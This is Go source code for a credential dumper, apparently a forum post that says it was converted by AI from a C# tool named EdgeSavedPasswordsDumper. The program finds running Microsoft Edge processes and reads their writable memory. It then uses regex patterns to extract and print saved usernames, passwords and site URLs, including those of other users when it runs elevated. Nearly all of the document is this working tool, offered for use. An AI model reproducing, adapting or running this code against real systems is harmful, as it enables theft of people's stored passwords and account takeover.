package main
import (
"fmt"
"regexp"
"strings"
"syscall"
"unsafe"
"github.com/StackExchange/wmi"
"golang.org/x/sys/windows"
)
const (
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_READ = 0x0010
MEM_COMMIT = 0x1000
PAGE_READWRITE = 0x04
)
type MEMORY_BASIC_INFORMATION struct {
BaseAddress uintptr
AllocationBase uintptr
AllocationProtect uint32
RegionSize uintptr
State uint32
Protect uint32
Type uint32
}
type ProcessInfo struct {
Id uint32
Name string
Owner string
}
type Win32Process struct {
ProcessId uint32
Name string
ParentProcessId uint32
}
var (
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
advapi32 = windows.NewLazySystemDLL("advapi32.dll")
procOpenProcess = kernel32.NewProc("OpenProcess")
procVirtualQueryEx = kernel32.NewProc("VirtualQueryEx")
procReadProcessMemory = kernel32.NewProc("ReadProcessMemory")
procCloseHandle = kernel32.NewProc("CloseHandle")
procOpenProcessToken = advapi32.NewProc("OpenProcessToken")
)
func OpenProcess(dwDesiredAccess uint32, bInheritHandle bool, dwProcessId uint32) (windows.Handle, error) {
var inheritHandle uint32
if bInheritHandle {
inheritHandle = 1
}
handle, _, err := procOpenProcess.Call(
uintptr(dwDesiredAccess),
uintptr(inheritHandle),
uintptr(dwProcessId),
)
if handle == 0 {
return 0, err
}
return windows.Handle(handle), nil
}
func VirtualQueryEx(hProcess windows.Handle, lpAddress uintptr, lpBuffer *MEMORY_BASIC_INFORMATION, dwLength uint32) uintptr {
ret, _, _ := procVirtualQueryEx.Call(
uintptr(hProcess),
lpAddress,
uintptr(unsafe.Pointer(lpBuffer)),
uintptr(dwLength),
)
return ret
}
func ReadProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesRead *uintptr) bool {
ret, _, _ := procReadProcessMemory.Call(
uintptr(hProcess),
lpBaseAddress,
uintptr(unsafe.Pointer(lpBuffer)),
nSize,
uintptr(unsafe.Pointer(lpNumberOfBytesRead)),
)
return ret != 0
}
func CloseHandle(hObject windows.Handle) bool {
ret, _, _ := procCloseHandle.Call(uintptr(hObject))
return ret != 0
}
func OpenProcessToken(ProcessHandle windows.Handle, DesiredAccess uint32, TokenHandle *windows.Token) error {
ret, _, err := procOpenProcessToken.Call(
uintptr(ProcessHandle),
uintptr(DesiredAccess),
uintptr(unsafe.Pointer(TokenHandle)),
)
if ret == 0 {
return err
}
return nil
}
func GetProcessOwnerFromToken(pid uint32) string {
handle, err := OpenProcess(0x1000 /* QUERY_LIMITED_INFORMATION */, false, pid)
if err != nil || handle == 0 {
return "UNKNOWN"
}
defer CloseHandle(handle)
var token windows.Token
err = OpenProcessToken(handle, 8 /* TOKEN_QUERY */, &token)
if err != nil {
return "UNKNOWN"
}
defer token.Close()
tokenUser, err := token.GetTokenUser()
if err != nil {
return "UNKNOWN"
}
accountName, _, _, err := tokenUser.User.Sid.LookupAccount("")
if err != nil {
return "UNKNOWN"
}
return accountName
}
func IsElevated() bool {
var sid *windows.SID
err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid,
)
if err != nil {
return false
}
defer windows.FreeSid(sid)
token := windows.GetCurrentProcessToken()
isMember, err := token.IsMember(sid)
if err != nil {
return false
}
return isMember
}
func main() {
isElevated := IsElevated()
if !isElevated {
fmt.Print("\033[31m[x]\033[0m")
fmt.Println(" Not running elevated.")
fmt.Println("\nProgram will only be able to access Edge processes run by the same user.")
fmt.Println("The program might also fail trying to look up owner of some Edge processes.\n")
} else {
fmt.Print("\033[32m[v]\033[0m")
fmt.Println(" Running elevated.\n")
}
fmt.Print("Fetching browser processes:")
totalMatches := 0
shownMatches := 0
seenStrings := make(map[string]struct{})
alreadyCheckedUsers := make(map[string]struct{})
var processes []Win32Process
query := "SELECT ProcessId, Name, ParentProcessId FROM Win32_Process WHERE Name='msedge.exe'"
err := wmi.Query(query, &processes)
if err != nil {
fmt.Printf("Error querying WMI: %v\n", err)
return
}
var processList []ProcessInfo
for _, proc := range processes {
parentPid := proc.ParentProcessId
skip := false
// Check parent process
parentHandle, err := OpenProcess(PROCESS_QUERY_INFORMATION, false, parentPid)
if err == nil && parentHandle != 0 {
// Get parent process name
var exeName [windows.MAX_PATH]uint16
size := uint32(len(exeName))
err = windows.QueryFullProcessImageName(windows.Handle(parentHandle), 0, &exeName[0], &size)
if err == nil {
name := syscall.UTF16ToString(exeName[:])
if strings.Contains(strings.ToLower(name), "msedge") {
skip = true
}
}
CloseHandle(parentHandle)
}
if skip {
continue
}
processList = append(processList, ProcessInfo{
Id: proc.ProcessId,
Name: proc.Name,
Owner: GetProcessOwnerFromToken(proc.ProcessId),
})
}
fmt.Println(" Done.\n")
for _, proc := range processList {
key := fmt.Sprintf("%s %s", proc.Owner, proc.Name)
if _, exists := alreadyCheckedUsers[key]; exists {
continue
}
owner := strings.Replace(proc.Owner, "NSC\\t1_", "", -1)
fmt.Printf("Scanning process PID: %d\tName: %s\tOwner: %s\n", proc.Id, proc.Name, owner)
processHandle, err := OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ, false, proc.Id)
if err != nil || processHandle == 0 {
fmt.Printf("Failed to open process: %d %s %s\n", proc.Id, proc.Name, proc.Owner)
continue
}
var address uintptr = 0
var memInfo MEMORY_BASIC_INFORMATION
memInfoSize := uint32(unsafe.Sizeof(memInfo))
for VirtualQueryEx(processHandle, address, &memInfo, memInfoSize) != 0 {
readable := memInfo.State == MEM_COMMIT && memInfo.Protect == PAGE_READWRITE
if readable {
buffer := make([]byte, memInfo.RegionSize)
var bytesRead uintptr
ret, _, _ := procReadProcessMemory.Call(
uintptr(processHandle),
memInfo.BaseAddress,
uintptr(unsafe.Pointer(&buffer[0])),
memInfo.RegionSize,
uintptr(unsafe.Pointer(&bytesRead)),
)
if ret != 0 {
utf8 := string(buffer)
lines := strings.Split(utf8, "\n")
for _, line := range lines {
// Pattern for saved passwords
pattern := regexp.MustCompile(`[a-zA-Z]https?\x20([a-zA-Z0-9\\\-_\.@\?]{1,20})\x20([a-zA-Z0-9#!@#\$%\^&\*\(\)_\-\+=\{\}\[\]:;<>\?/~\s]{1,40})\x20\x00`)
matches := pattern.FindAllStringSubmatch(line, -1)
for _, match := range matches {
if len(match) < 3 {
continue
}
username := match[1]
password := match[2]
potentialPattern := fmt.Sprintf("%s : %s", username, password)
urlPattern := regexp.MustCompile(fmt.Sprintf(`\x00\x00\x00([A-Za-z0-9\-._~:/?#\[\]@!$&'()*+,;=%%]+)(https?)\x20%s %s`,
regexp.QuoteMeta(username), regexp.QuoteMeta(password)))
urlMatches := urlPattern.FindAllStringSubmatch(line, -1)
for _, urlMatch := range urlMatches {
if len(urlMatch) < 2 {
continue
}
value := urlMatch[1]
combined := fmt.Sprintf("%s @%s", potentialPattern, value)
if _, seen := seenStrings[combined]; !seen {
fmt.Println(combined)
seenStrings[combined] = struct{}{}
shownMatches++
totalMatches++
}
}
alreadyCheckedUsers[key] = struct{}{}
}
}
}
}
address = memInfo.BaseAddress + memInfo.RegionSize
}
CloseHandle(processHandle)
}
seenStrings = nil
fmt.Printf("\nTotal matches found across all processes: %d. %d shown.\n", totalMatches, shownMatches)
}
根据EdgeSavedPasswordsDumper(c#) 用AI转的go的
1 个帖子 - 1 位参与者